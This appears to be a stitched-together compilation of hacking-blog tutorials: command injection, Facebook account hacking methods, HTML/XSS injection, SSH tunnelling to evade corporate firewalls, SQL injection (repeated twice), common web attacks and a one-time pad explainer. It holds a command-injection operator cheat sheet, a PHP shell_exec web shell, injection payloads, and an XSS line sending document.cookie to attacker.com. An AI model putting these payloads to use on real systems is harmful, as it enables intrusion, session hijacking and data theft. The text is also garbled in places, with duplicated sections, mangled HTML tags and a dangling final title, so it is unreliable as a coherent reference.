How to Perform Command Injection Attacks

Introduction: Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.
How to Perform Command Injection Attacks
In this artick, we will talk about the varieties of command injections and how they can be executed. There are a variety of ways to inject shell commands. Assume for a moment that you have found the page, which takes as an argument a filename as input and executes the shell command "cat" against that file. For example, a semicolon was used to separate out one command form another, to indicate that after the cat command completed, another function should be called in the same line. There are a number of ways to string shell commands together to create new commands.
Here are the common operators you can use, as well as examples of how they might be used in an attack:

---

Redirection Operators

---

Examples: <, >>, >
These operators redirect either input or output somewhere else on the server. < will make whatever comes after it standard input. Replacing the filename with < filename will not change the output, but could be used to avoid some filters. > redirects command output, and can be used to modify files on the server, or create new ones altogether. Combined with the cat command, it could easily be used to add unix users to the system, or deface the website. Finally, >> appends text to a file and is not much different from the original output modifier, but again can be used to avoid some simplistic detection schemes.

---

Pipes

---

Examples: |
Pipes allow the user to chain multiple commands. It will redirect the output of one command into the next. So you can run unlimited commands by chaining them with multiple pipes, such as cat file1 | grep "string".

---

Inline commands

---

Examples: ;, $
This is the original example. Putting a semicolon asks the command line to execute everything before the semicolon, then execute everything else as if on a fresh command line.

---

Logical Operators

---

Examples: $, &&, ||
These operators perform some logical operation against the data before and after them on the command line.
Common Injection Patterns & Results
Here are the expected results from a number of common injection patterns (appending the below to a given input string, assuming all quotes are correctly paired:

`shell_command` - executes the command
$(shell_command) - executes the command
| shell_command - executes the command and returns the output of the command
|| shell_command - executes the command and returns the output of the command
; shell_command - executes the command and returns the output of the command
&& shell_command executes the command and returns the output of the command
> target_file - overwrites the target file with the output of the previous command
>> target_file - appends the target file with the output of the previous command
< target_file - send contents of target_file to the previous command
- operator - Add additional operations to target command

These examples are only scratching the surface of possible command injection vectors. The full breadth of attack possibilities is dependent upon the underlying function calls. For instance, if an underlying function is using a shell program such as awk, many more attack possibilities arise than laid out here.
Finally, command injection can be more subtle than finding applications which directly call underlying operating system functions. If it is possible to inject code, say PHP code, then you can also perform command injections. Assume you find an application with a PUT vulnerability on a site which is PHP enabled. An attacker could simply upload a PHP file with a single line to have full access to a shell:

<?php
echo
shell_exec('cat '.$_GET[
'command']);
?>

Thus, it should be noted that many types of attacks, including SQL Injection, have shell injection as an end primary goal to gaining control of the server.

Top 10 Facebook Hacking Techniques

There are many ways break into a Facebook account, and we have collected the 10 most usual techniques.

---

1. Phishing

---

Phishing is still the most popular attack vector used for hacking Facebook accounts. There are variety methods to carry out phishing attack. In a simple phishing attacks a hacker creates a fake log in page which exactly looks like the real Facebook page and then asks the victim to log in. Once the victim log in through the fake page the, the victims "Email Address" and "Password" is stored in to a text file, and the hacker then downloads the text file and gets his hands on the victims credentials. Some Auto liker websites are good examples of phishing. They ask a user to login for access token in order to get username and password of the victim. [Beware]

---

2. Keylogging

---

Keylogging is the easiest way to hack a Facebook password. Keylogging sometimes can be so dangerous that even a person with good knowledge of computers can fall for it. A Keylogger is basically a small program which, once is installed on victim's computer, will record every thing victim types on his/her computer. The logs are then send back to the attacker by either FTP or directly to hackers email address.

---

3. Stealers

---

Almost 80% people use stored passwords in their browser to access the Facebook. This is quite convenient, but can sometimes be extremely dangerous. Stealer's are softwares specially designed to capture the saved passwords stored in the victims Internet browser.

---

4. Session Hijacking

---

Session Hijacking can be often very dangerous if you are accessing Facebook on a http (non secure) connection. In Session Hijacking attack, a hacker steals the victims browser cookie which is used to authenticate the user on a website, and use it to access the victims account. Session hijacking is widely used on LAN, and WiFi connections.

---

5. Sidejacking With Firesheep

---

Sidejacking attack went common in late 2010, however it's still popular now a days. Firesheep is widely used to carry out sidejacking attacks. Firesheep only works when the attacker and victim is on the same WiFi network. A sidejacking attack is basically another name for http session hijacking, but it's more targeted towards WiFi users.

---

6. Mobile Phone Hacking

---

Millions of Facebook users access Facebook through their mobile phones. In case the hacker can gain access to the victims mobile phone then he can probably gain access to his/her Facebook account. Their are a lots of Mobile Spying softwares used to monitor a Cellphone. The most popular Mobile Phone Spying softwares are: Mobile Spy and Spy Phone Gold.

---

7. DNS Spoofing

---

If both the victim and attacker are on the same network, an attacker can use a DNS spoofing attack and change the original Facebook page to his own fake page and hence can get access to victims Facebook account.

---

8. USB Hacking

---

If an attacker has physical access to your computer, he could just insert a USB programmed with a function to automatically extract saved passwords in the Internet browser.

---

9. Man In the Middle Attack

---

If the victim and attacker are on the same LAN and on a switch based network, a hacker can place himself between the client and the server, or he could act as a default gateway and hence capturing all the traffic in between.

---

10. Botnets

---

Botnets are not commonly used for hacking Facebook accounts, because of it's high setup costs. They are used to carry more advanced attacks. A Botnet is basically a collection of compromised computer. The infection process is same as the key logging, however a Botnet gives you additional options for carrying out attacks with the compromised computer. Some of the most popular Botnets include Spyeye and Zeus.

HTML Code Injection Technique

Introduction: This article is about HTML injection techniques used to exploit web site vulnerabilities. Nowadays, it's not usual to find a completely vulnerable site to this type of attacks, but only one is enough to exploit it. I'll make a compilation of these techniques all together, in order to facilitate the reading and to make it entertaining. HTML injection is a type of attack focused upon the way HTML content is generated and interpreted by browsers at client side. Otherwise, JavaScript is a widely used technology in dynamic web sites, so the use of techniques based on this, like injection, complements the nomenclature of 'codeinjection'.

---

Code Injection

---

This type of attack is possible by the way the client browser has the ability to interpret scripts embedded within HTMLcontent enabled by default, so if an attacker embeds script tags such <SCRIPT> , <OBJECT> , <APPLET> , or <EMBED> into a web site, the web browser's JavaScript engine will execute it. Typical targets of this type of injection are forums, guestbooks, or whatever section where the administrator allows the insertion of text comments; if the design of the web site isn't parsing the comments inserted, and takes < or > as real chars, a malicious user could type:

I like this site because <script>alert('Injected!');</script> teaches me a lot

If it works and you can see the message box, the door is opened to the attacker's imagination limits! A common code insertion used to drive navigation to another website is something like this:

<H1> Vulnerability test </H1> <METAHTTP-EQUIV="refresh"CONTENT="1;url= http://www.test.com">

Same within a
<FK> or <LI> tag:

<FKSTYLE="behavior: url(http://<<Other website>> ;">

Other tags used to execute malicious JavaScript code are, for example, <BR> , <DIV> , even background-image:

<BRSIZE="&{alert('Injected')}"><DIVSTYLE="background-image: url(javascript:alert('Injected'))">

The <title> tag is a common weak point if it's generated dynamically. For example, suppose this situation:

<HTML>
<HEAD>
<TITLE>
<?php
echo$_GET['titulo']; ?</TITLE> </HEAD> <BODY> > ...
</BODY>
</HTML>

If you build title as 'example </title> </head> </body><img src= http://myImage.png>' HTML resulting would insert the 'myImage.png' image first of all:

<HTML>
<HEAD>
<TITLE>
example
</TITLE>
</HEAD>
<BODY><imgsrc= http://myImage.png></TITLE> </HEAD> <BODY>...
</BODY>
</HTML>

There is another dangerous HTML tag that could exploit a web browser's frames support characteristic: <IFRAME> This tag allows (within Sandbox security layer) cross-scripting exploiting using web browser elements (address bar or bookmarks, for example), but this theme is outside the scope of this article.

SSH Tunnel Tutorial

Introduction: A SSH tunnel consists of an encrypted tunnel created through a SSH protocol connection. A SSH tunnel can be used to transfer unencrypted traffic over a network through an encrypted channel. For example we can use a ssh tunnel to securely transfer files between a FTP server and a client even though the FTP protocol itself is not encrypted. SSH tunnels also provide a means to bypass firewalls that prohibits or filter certain internet services. For example an organization will block certain sites using their proxy filter. But users may not wish to have their web traffic monitored or blocked by the organization proxy filter. If users can connect to an external SSH server, they can create a SSH tunnel to forward a given port on their local machine to port 80 on remote web-server via the external SSH server.
This ssh tunnel tutorial will deliberately bypass a firewall, and security admins will frown (at the very least) on you bypassing a corporate firewall. How to encrypt anything over SSH tunnel using a Socks Proxy.
*. How to Browse Securely from hotspots or hide from corporate firewalls/sniffers.

---

SSH Tunnel Summary

---

Using an ssh server that has internet access as a browsing point, you will create an ssh tunnel from your local PC to a remote server. Source all of your traffic from it, and encrypt communications to it using free software. This tutorial will show you how to setup an SSH Tunnel and use this to create aSocks Proxy. Requires an SSH account anywhere even your home PC with cygwin or ubuntu installed. You could then use this to tunnel from an unsafe place and browse as if you were at the safe, remote location instead. This is free.

---

SSH Tunnel Instructions

---

1. Find your current IP Go to whatismyip.com, look at your existing IP, without proxy.
Reason: compare later when we have a tunnel.
2. Packet Capture

Th: !(ipv6.dst == ff02::1) && !(ipv6.dst == ff02::c) && !stp && !cdp && !dtp && !dhcpv6 && !arp && !nbns && !browser && !icmpv6 && !ip.src== 192.168.1.105 &&

Reason: verify that you are truly encrypted. This filter just hides network chatter. It’s the same thing a snooper would see. your filter may be different, or not required. I was on a chatty network when I inspected and thought this example would be worth showing.
3. Setup Putty for SSH Tunnel:
*. Session: user@ yourserver.com:22
*. Connection > SSH: V2, Enable Compresion
*. Connection > SSH > Tunnels > Source: 7070, Dynamic, ADD
*. Session: Save, Open or, create an SSH tunnel via command line:

ssh -D 7070 -p 22 user@ yourserver.com sleep 9999

Reason: sets up loopback port (7070) on your local PC and connects over port 22 to the remote shell
4. Setup Firefox to encrypt to use the tunnel:
*. Tools > Options > Network > Settings > Manual
*. Socks: 127.0.0.1: 7070
*. Click OK.
5. Setup Firefox to use Remote DNS

about:config network.proxy.socks_remote_dns=true

Reason: By default, your local PC will do the DNS by default, but that will show what websites you are going to, so this steps ends DNS over the ssh tunnel.
6. Restart Browser
Reason: configures firefox to route traffic through the tunnel you just made
7. Test
*. View everything is over port 22
*. View IP is different from whatismyip.com
*. View filter in wireshark: dns, there should be no entries.
References
*. https://addons.mozilla.org /en-US/thunderbird /user/323/(foxyproxy allows quick proxy swaps in mozilla,thunderbird, etc).
*. ftp://ftp.chiark.greenend.o rg.uk/users/sgtatham/putty-latest/x86/putty.exe
*. http://www.wireshark.org/download.html

---

SSH Tunnel NOT SAFE

---

Is all browsing now encrypted? No, it’s only encrypted to the remote server. From that point on it’s normal. Though if you were browsing an https connection without cookies, it’s pretty hard to figure out what your traffic is. Cookies are relatively simple to capture, sniff then replay for a man in the middle type attack or privileged login.

SQL Injection: SQL for Web Pages

---

SQL in Web Pages

---

When SQL is used to display data on a web page, it is common to let web users input their own search values. Since SQL statements are text only, it is easy, with a little piece of computer code, to dynamically change SQL statements to provide the user with selected data: Server Code

txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " txtUserId;

The example above, creates a select statement by adding a variable (txtUserId) to a select string. The variable is fetched from the user input (Request) to the page. The rest of this chapter describes the potential dangers of using user input in SQL statements.

---

SQL Injection

---

SQL injection is a technique where malicious users can inject SQL commands into an SQL statement, via web page input. Injected SQL commands can alter SQL statement and compromise the security of a web application.

---

SQL Injection Based on 1=1 is Always True

---

Look at the example above, one more time. Let's say that the original purpose of the code was to create an SQL statement to select a user with a given user id. If there is nothing to prevent a user from entering "wrong" input, the user can enter some "smart" input like this: UserId: 105 or 1=1 Server Result
SELECT * FROM Users WHERE UserId = 105 or 1=1 The SQL above is valid. It will return all rows from the table Users, since WHERE 1=1 is always true. Does the example above seem dangerous? What if the Users table contains names and passwords? The SQL statement above is much the same as this:

SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1

A smart hacker might get access to all the user names and passwords in a database by simply inserting 105 or 1=1 into the input box.

---

SQL Injection Based on ""="" is Always True

---

Here is a common construction, used to verify user login to a web site:
User Name:
Password:
Server Code

uName = getRequestString("UserName"); uPass = getRequestString("UserPass"); sql = "SELECT * FROM Users WHERE Name ='" uName "' AND Pass ='" uPass "'"

A smart hacker might get access to user names and passwords in a database by simply inserting " or ""=" into the user name or password text box. The code at the server will create a valid SQL statement like this: Result

SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""

The result SQL is valid. It will return all rows from the table Users, since WHERE ""="" is always true.

---

SQL Injection Based on Batched SQL Statements

---

Most databases support batched SQL statement, separated by semicolon. Example

SELECT * FROM Users; DROP TABLE Suppliers

The SQL above will return all rows in the Users table, and then delete the table called Suppliers. If we had the following server code: Server Code

txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

And the following input:

User id: 105; DROP TABLE Suppliers

The code at the server would create a valid SQL statement like this: Result

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers

---

Parameters for Protection

---

Some web developers use a "blacklist" of words or characters to search for in SQL input, to prevent SQL injection attacks. This is not a very good idea. Many of these words (like delete or drop) and characters (like semicolons and quotation marks), are used in common language, and should be allowed in many types of input. In fact it should be perfectly legal to input an SQL statement in a database field. The only proven way to protect a web site from SQL injection attacks, is to use SQL parameters. SQL parameters are values that are added to an SQL query at execution time, in a controlled manner. ASP.NET Razor Example

txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = @0"; db.Execute(txtSQL,txtUserId);

Note that parameters are represented in the SQL statement by a @ marker. The SQL engine checks each parameter to ensure that it is correct for its column and are treated literally, and not as part of the SQL to be executed. Another Example

txtNam = getRequestString("CustomerName"); txtAdd = getRequestString("Address"); txtCit = getRequestString("City"); txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)"; db.Execute(txtSQL,txtNam,txtAdd,txtCit);

Examples The following examples shows how to build parameterized queries in some common web languages.
ASP.NET SELECT

txtUserId = getRequestString("UserId"); sql = "SELECT * FROM Customers WHERE CustomerId = @0"; command = new SqlCommand(sql); command.Parameters.AddWithValue("@0",txtUserID); command.ExecuteReader();

ASP.NET INSERT INTO

txtNam = getRequestString("CustomerName"); txtAdd = getRequestString("Address"); txtCit = getRequestString("City"); txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)"; command = new SqlCommand(txtSQL); command.Parameters.AddWithValue("@0",txtNam); command.Parameters.AddWithValue("@1",txtAdd); command.Parameters.AddWithValue("@2",txtCit); command.ExecuteNonQuery();

PHP INSERT INTO

$stmt = $dbh->prepare("INSERT INTO Customers (CustomerName,Address,City) VALUES (:nam, :add, :cit)"); $stmt->bindParam(':nam', $txtNam); $stmt->bindParam(':add', $txtAdd); $stmt->bindParam(':cit', $txtCit); $stmt->execute();

SQL Injection: SQL in Web Pages

---

SQL in Web Pages

---

When SQL is used to display data on a web page, it is common to let web users input their own search values. Since SQL statements are text only, it is easy, with a little piece of computer code, to dynamically change SQL statements to provide the user with selected data: Server Code

txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " txtUserId;

The example above, creates a select statement by adding a variable (txtUserId) to a select string. The variable is fetched from the user input (Request) to the page. The rest of this chapter describes the potential dangers of using user input in SQL statements.

---

SQL Injection

---

SQL injection is a technique where malicious users can inject SQL commands into an SQL statement, via web page input. Injected SQL commands can alter SQL statement and compromise the security of a web application.

---

SQL Injection Based on 1=1 is Always True

---

Look at the example above, one more time. Let's say that the original purpose of the code was to create an SQL statement to select a user with a given user id. If there is nothing to prevent a user from entering "wrong" input, the user can enter some "smart" input like this: UserId: 105 or 1=1 Server Result
SELECT * FROM Users WHERE UserId = 105 or 1=1 The SQL above is valid. It will return all rows from the table Users, since WHERE 1=1 is always true. Does the example above seem dangerous? What if the Users table contains names and passwords? The SQL statement above is much the same as this:

SELECT UserId, Name, Password FROM Users WHERE UserId = 105 or 1=1

A smart hacker might get access to all the user names and passwords in a database by simply inserting 105 or 1=1 into the input box.

---

SQL Injection Based on ""="" is Always True

---

Here is a common construction, used to verify user login to a web site:
User Name:
Password:
Server Code

uName = getRequestString("UserName"); uPass = getRequestString("UserPass"); sql = "SELECT * FROM Users WHERE Name ='" uName "' AND Pass ='" uPass "'"

A smart hacker might get access to user names and passwords in a database by simply inserting " or ""=" into the user name or password text box. The code at the server will create a valid SQL statement like this: Result

SELECT * FROM Users WHERE Name ="" or ""="" AND Pass ="" or ""=""

The result SQL is valid. It will return all rows from the table Users, since WHERE ""="" is always true.

---

SQL Injection Based on Batched SQL Statements

---

Most databases support batched SQL statement, separated by semicolon. Example

SELECT * FROM Users; DROP TABLE Suppliers

The SQL above will return all rows in the Users table, and then delete the table called Suppliers. If we had the following server code: Server Code

txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = " + txtUserId;

And the following input:

User id: 105; DROP TABLE Suppliers

The code at the server would create a valid SQL statement like this: Result

SELECT * FROM Users WHERE UserId = 105; DROP TABLE Suppliers

---

Parameters for Protection

---

Some web developers use a "blacklist" of words or characters to search for in SQL input, to prevent SQL injection attacks. This is not a very good idea. Many of these words (like delete or drop) and characters (like semicolons and quotation marks), are used in common language, and should be allowed in many types of input. In fact it should be perfectly legal to input an SQL statement in a database field. The only proven way to protect a web site from SQL injection attacks, is to use SQL parameters. SQL parameters are values that are added to an SQL query at execution time, in a controlled manner. ASP.NET Razor Example

txtUserId = getRequestString("UserId"); txtSQL = "SELECT * FROM Users WHERE UserId = @0"; db.Execute(txtSQL,txtUserId);

Note that parameters are represented in the SQL statement by a @ marker. The SQL engine checks each parameter to ensure that it is correct for its column and are treated literally, and not as part of the SQL to be executed. Another Example

txtNam = getRequestString("CustomerName"); txtAdd = getRequestString("Address"); txtCit = getRequestString("City"); txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)"; db.Execute(txtSQL,txtNam,txtAdd,txtCit);

Examples The following examples shows how to build parameterized queries in some common web languages.
ASP.NET SELECT
txtUserId = getRequestString("UserId"); sql = "SELECT * FROM Customers WHERE CustomerId = @0"; command = new SqlCommand(sql); command.Parameters.AddWithValue("@0",txtUserID); command.ExecuteReader();
ASP.NET INSERT INTO
txtNam = getRequestString("CustomerName"); txtAdd = getRequestString("Address"); txtCit = getRequestString("City"); txtSQL = "INSERT INTO Customers (CustomerName,Address,City) Values(@0,@1,@2)"; command = new SqlCommand(txtSQL); command.Parameters.AddWithValue("@0",txtNam); command.Parameters.AddWithValue("@1",txtAdd); command.Parameters.AddWithValue("@2",txtCit); command.ExecuteNonQuery();
PHP INSERT INTO
$stmt = $dbh->prepare("INSERT INTO Customers (CustomerName,Address,City) VALUES (:nam, :add, :cit)"); $stmt->bindParam(':nam', $txtNam); $stmt->bindParam(':add', $txtAdd); $stmt->bindParam(':cit', $txtCit); $stmt->execute();

How To Extract All Hyperlinks In A Web Page

Sometimes you might need to have the all the hyperlinks from a webpage. For example if you are a developer you might be in need of a JavaScript or CSS of a webpage that is hosted externally. Sometimes this trick will also help you extract the download link from survey sites. Whatever might be the reason let us learn to do this. We will learn three different ways to extract hyperlinks from a webpage in this post.

---

Extract Hyperlinks From A Webpage In Chrome

---

This trick is very simple but is limited to Google chrome users. The trick is performed via the Chrome Dev tools.
Steps To Extract Hyperlinks From A Webpage In Chrome
1. Go to the page from which you want to extract the hyperlinks.
2. Click on 'Inspect Element' from the right click menu.
3. Click on the 'Console tab'
4. Now paste the following code in the input field.

urls = $$('a'); for (url in urls) console.log ( urls[url].href );

5. Hit enter.

---

iWeb Tools's Link Extractor

---

This is a web based service which means you don't have to download any software nor it is limited to any users.You can use this tool here.This tool will show the type of file along with the anchor text in the output field.
How To Use This Tool?

Using this tool is very simple. All you have to do is to go the the above url.Enter the webpage url in the input field and hit extract.

---

BuzzStream Tool

---

This is quite different from the other two because in this case we are extracting all the urls from an html code. This trick will not display the output links on the website itself. All the links on that page are exported as a CSV file which automatically downloads to your computer once you hit the create CSV button. The CSV file has three different columns including the actual link, it's original website and the anchor text.
How To Use This Tool?
1. Go to Buzz Stream Urls Extract Tool.
2. Copy the source code of the webpage from which you want to extract the Url.
3. Paste it in the tool's input field and hit create CSV. A CSV file containing the hyperlinks will automatically be downloaded to your computer.

---

How To Get The Source Code Of Webpages

---

Chrome: Right click on the webpage and click on view page source or press Ctrl U.
Internet Explorer: Right click from the webpage and click on view source.
Firefox & Netscape: Right click and click on view page source or press Ctrl U.
Opera: From the view menu click on source or press Ctrl F3.

10 Most Popular Ways Hackers Hack Your Website

Here are the 10 most popular ways they can threaten the security of your site.

---

1. Injection Attacks

---

Injection Attacking occurs when there are flaws in your SQL Database, SQL libraries, or even the operating system itself. Employees open seemingly credible files with hidden commands, or injections, unknowingly. In doing so, they’ve allowed hackers to gain unauthorized access to private data such as social security numbers, credit card number or other financial data. Technical Injection Attack Example: An Injection Attack could have this command line:

String query = “SELECT * FROM accounts WHERE custID='” request.getParameter( “id”) ”‘”;

The hacker modifies the ‘id’ parameter in their browser to send: ‘ or ‘1’=’1 This changes the meaning of the query to return all the records from the accounts database to the hacker, instead of only the intended customers.

---

2. Cross Site Scripting Attacks

---

XSS attack, occurs when an application, url “get request”, or file packet is sent to the web browser window and bypassing the validation process. Once an XSS script is triggered, it’s deceptive property makes users believe that the compromised page of a specific website is legitimate. For example, if www.example.com/abcd.html has XSS script in it, the user might see a popup window asking for their credit card info and other sensitive info. Technical Cross Site Scripting Example:

(String) page = “<input name=’creditcard’ type=’TEXT’ value='” request.getParameter( “CC”) “‘>”;

The attacker modifies the CC parameter in their browser to:

‘><script>document.location=’ http://www.attacker.com/cgi-bin/cookie.cgi?foo=’document.cookie</script>’

This causes the user’s session ID to be sent to the attacker’s website, allowing the hacker to hijack the user’s current session. That means the hacker has access to the website admin credentials and can take complete control over it.

---

3. Broken Authentication and Session Management Attacks

---

If the user authentication system of your website is weak, hackers can take full advantage. Authentication systems involve passwords, key management, session IDs, and cookies that can allow a hacker to access your account from any computer (as long as they are valid). If a hacker exploits the authentication and session management system, they can assume the user’s identity.

Ask yourself these questions to find out if your website is vulnerable to a broken authentication and session management attack:

*. Are user credentials weak? *. Can credentials be guessed or overwritten through weak account management functions? *. Are session IDs exposed in the URL? *. Are session IDs vulnerable to session fixation attacks? *. Do session IDs timeout and can users log out? If you answered “yes” to any of these questions, your site could be vulnerable to a hacker.

---

4. Clickjacking Attacks

---

Clickjacking, also called a UI Redress Attack, is when a hacker uses multiple opaque layers to trick a user into clicking the top layer without them knowing. Thus the attacker is “hijacking” clicks that are not meant for the actual page, but for a page where the attacker wants you to be. For example, using a carefully crafted combination of style sheets, iframes, and text boxes, a user can be led to believe they are typing in the password for their bank account, but are actually typing into an invisible frame controlled by the attacker. Clickjacking Example: Here’s a live, but safe example of how clickjacking works: [CLICK HERE TO SEE EXAMPLE]

---

5. DNS Cache Poisoning

---

DNS Cache Poisoning involves old cache data that you might think you no longer have on your computer, but is actually “toxic” Also known as DNS Spoofing, hackers can identify vulnerabilities in a domain name system, which allows them to divert traffic from legit servers to a fake website and/or server. This form of attack can spread and replicate itself from one DNS server to another DNS, “poisoning” everything in it’s path. In fact, in 2010, a DNS poisoning attack completely compromised the Great Firewall of China (GFC) temporarily and censored certain content in the United States until the problem was fixed.

---

6. Social Engineering Attacks

---

A social engineering attack is not technically a “hack” It happens when you divulge private information in good faith, such as a credit card number, through common online interactions such as email, chat, social media sites, or virtually any website. The problem, of course, is that you’re not getting into what you think you’re getting into. A classic example of a social engineering attack is the “Microsoft tech support” scam. This is when someone from a call center pretends to be a MS tech support member who says that your computer is slow and/or infected, and can be easily fixed – at a cost, of course. Here’s an article from Wired.com on how a security expert played along with so-called Microsoft tech support person.

---

7. Symlinking: An Insider Attack

---

A symlink is basically a special file that “points to” a hard link on a mounted file system. A symlinking attack occurs when a hacker positions the symlink in such a way that the user or application that access the endpoint thinks they’re accessing the right file when they’re really not. If the endpoint file is an output, the consequence of the symlink attack is that it could be modified instead of the file at the intended location. Modifications to the endpoint file could include appending, overwriting, corrupting, or even changing permissions. In different variations of a symlinking attack a hacker may be able to control the changes to a file, grant themselves advanced access, insert false information, expose sensitive information or corrupt or destroy vital system or application files.

---

8. Cross Site Request Forgery Attacks

---

A Cross Site Request Forgery Attack happens when a user is logged into a session (or account) and a hacker uses this opportunity to send them a forged HTTP request to collect their cookie information. In most cases, the cookie remains valid as long as the user or the attacker stays logged into the account. This is why websites ask you to log out of your account when you’re finished, it will expire the session immediately. In other cases, once the user’s browser session is compromised, the hacker can generate requests to the application that will not be able to differentiate between a valid user and a hacker. A Cross Site Attack Examples:

http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
<img src=”>span  style=”color: red;”>
http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#</span>” width=”0″ height=”0″ />

In this case the hacker creates a request that will transfer money from a user’s account, and then embeds this attack in an image request or iframe stored on various sites under the attacker’s control.

---

9. Remote Code Execution Attacks

---

A Remote Code Execution attack is a result of either server side or client side security weaknesses. Vulnerable components may include libraries, remote directories on a server that haven’t been monitored, frameworks, and other software modules that run on the basis of authenticated user access. Applications that use these components are always under attack through things like scripts, malware, and small command lines that extract information. The following vulnerable components were downloaded 22 million times in 2011: Apache CXF Authentication Bypass

(http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3451)

By failing to provide an identity token, attackers could invoke any web service with full permission.

---

10. DDoS Attack: Distributed Denial Of Service Attack

---

DDoS or Distributed Denial of Services, is where a server or a machine’s services are made unavailable to its users. And when the system is offline, the hacker proceeds to either compromise the entire website or a specific function of a website to their own advantage. It’s kind of like having your car stolen when you really need to get somewhere fast. The usual agenda of a DDoS campaign is to temporarily interrupt or completely take down a successfully running system. The most common example of a DDoS attack could be sending tons of URL requests to a website or a webpage in a very small amount of time. This causes bottlenecking at the server side because the CPU just ran out of resources. Denial-of-service attacks are considered violations of the Internet Architecture Board’s Internet proper use policy, and also violate the acceptable use policies of virtually all Internet service providers.

How to Use Math to Decrypt a Secret Messages

Before we take you to the steps it's better to understand the Cryptography.
Introduction: Cryptography is the process of data translation into a secret code. On the other hand, Cryptography is a mothod of storing and transmitting data in a particular form so that only those for whom it is intended can read and process it. Cryptography involves into two processes, one in Encryption and the other in Decryption. Encryption: Encryption is the conversion of any data into unreadable form, called ciphertext, which cannot be easily understood by everyone except authorized parties. The term is most often associated with scrambling plaintext which referred to as cleartext into ciphertext this process is called encryption. e.g you've a girlfriend and her real names is Kaitlin but having a fear of her muscular brother(s), you always call her my heart, my soul, sweetie etc. That's means you have encrypted her name. Decryption: Decryption is the process of taking encoded/encrypted text or other data and converting it back into readable text/data that you or the computer are able to read and understand it. e.g (repeat the above example in opposite direction). Who Uses The Cryptography? Cryptography is usually used by the Government Spy Agents, Criminals, Hackers and other sensitive organisations in order to protect their data from being leaked.
You might have seen the army or police operators while talking on their wireless set. They use their secret codes to transmitte their messages securely. In world war II, Cryptography was used by many countries. You might think that the author is wasting your time by writting the stories. But as a true believer, believe me it would help you alot to understand the article very well.

---

How to Decrypt a Secret Message

---

Suppose, you are a police officer, Army officer, Cheif of an party or whatever. You pull out a small notepad that was issued to you before leaving on your trip. Its pages contain sequences of completely random numbers between zero and twenty-five. Armed with your notepad and the scrambled secret message, you begin the decryption process. Here’s how it works. Start by looking up the first random number in your notepad. In this case it’s two and then cross it out so you don’t accidentally use it again. This first number is used to decrypt the first letter of your or your enemies message. Beginning with the first letter in your message, P count forward through the alphabet two characters Q is one and R is two. So R is the first letter of your decoded message. All you have to do is repeat the process for each of the final two letters of your message. You look-up the next random number in your notepad nineteen. So start at the letter B the second letter in the scrambled message and count forward nineteen letters until, eventually, you reach the letter U This is the second letter in your decoded message. Finally, for the last letter A you see the next random number in your notepad is thirteen. You count forward thirteen letters from A and arrive at N. So, you’ve now got your entire message decrypted and it says Run. right?

---

The One-Time Pad Method of Encryption

---

Before we get to that, let’s take a minute to talk about this encryption method called the one-time pad that played a major role in sending secret messages throughout much of the 20th century. The name one-time pad comes from the fact that the series of random numbers in the notepad must be used only one time. If a pad is reused, patterns can emerge that give away the random numbers in the pad, and the encryption can then be broken quite easily by an intercepting party. Additionally, these numbers must be absolutely random (not just sort of random) or, once again, patterns can develop that make it easy to figure out the contents of the pad and, if someone knows the numbers in your pad, your encryption is useless.

---

Secret Agent Math II

---

Now, let’s get back to the story. Recall that you’ve just deciphered a secret message telling you to Run You ponder for a moment whether or not the message is a joke. if your running was that urgent, why wouldn’t your colleague just yell? But then you remember that this colleague is known for strictly over-following standard industry encryption protocols, so you realize it is a real message and make a mad dash for the door. But having taken so long to comprehend the urgency of the message, you’re grabbed and hustled into the trunk of a car and driven away leaving your colleague to ponder the folly of his ways. Apparently, he now realizes, encryption isn’t always necessary sometimes simple solutions are better. But, your alter-ego’s misfortune in our drama is your own good fortune in real life since, if for some bizarre reason you ever need to secretly share information with someone, you now can do it using a one-time pad.

---

The Math Behind One-Time Pad Encryption

---

Before wrapping-up, let’s take a minute to talk a little more about the math behind one-time pad encryption. Start by assigning each letter of the alphabet a corresponding integer value between 1 and 26. A=1, since A is the first letter of the alphabet, B=2, since B is the second letter, and so on until you get to Z=26, the last letter of the alphabet. If you take the integer value that corresponds to a particular scrambled letter in your encrypted message (say the letter is P with an integer value of 16) and add it to the associated random number from a one-time pad (say the number is two), then you get a new integer in this case 16, 2=18 which can then be converted back into the letter R which you’ll recognize to be the first decrypted letter in the message from our article.

---

How to Solve Math Problems

---

That’s all well and good, but here’s an interesting case: What would happen if the scrambled letter you were trying to decrypt was Y and the corresponding random number was 25? If we count forward through the alphabet from Y we’ll obviously get to Z but then what? Well, in this case, the answer is to loop back around and start again at A That’s the way the one-time pad system is defined to work. So you could start at Y count forward to Z jump back to A and then proceed 23 more letters forward and eventually arrive at X But how about this: Instead of counting forward 25 letters from Y couldn’t you also just count backward one letter? And isn’t counting backward one letter a lot easier? And a lot less error prone too? It is. So what’s my point here? Well, in math, as in life, there’s usually more than one way to solve a problem and some ways are easier than others. So here’s the quick tip work smart. Simply yelling Run. instead of going to the trouble of sending an encrypted message would be smart. Counting one letter backward through the alphabet instead of twenty-five forward would be smart too. Think before acting and you’ll solve more problems while working less that’s a pretty tough combination to beat.

How To Open Multiple Websites With double Click

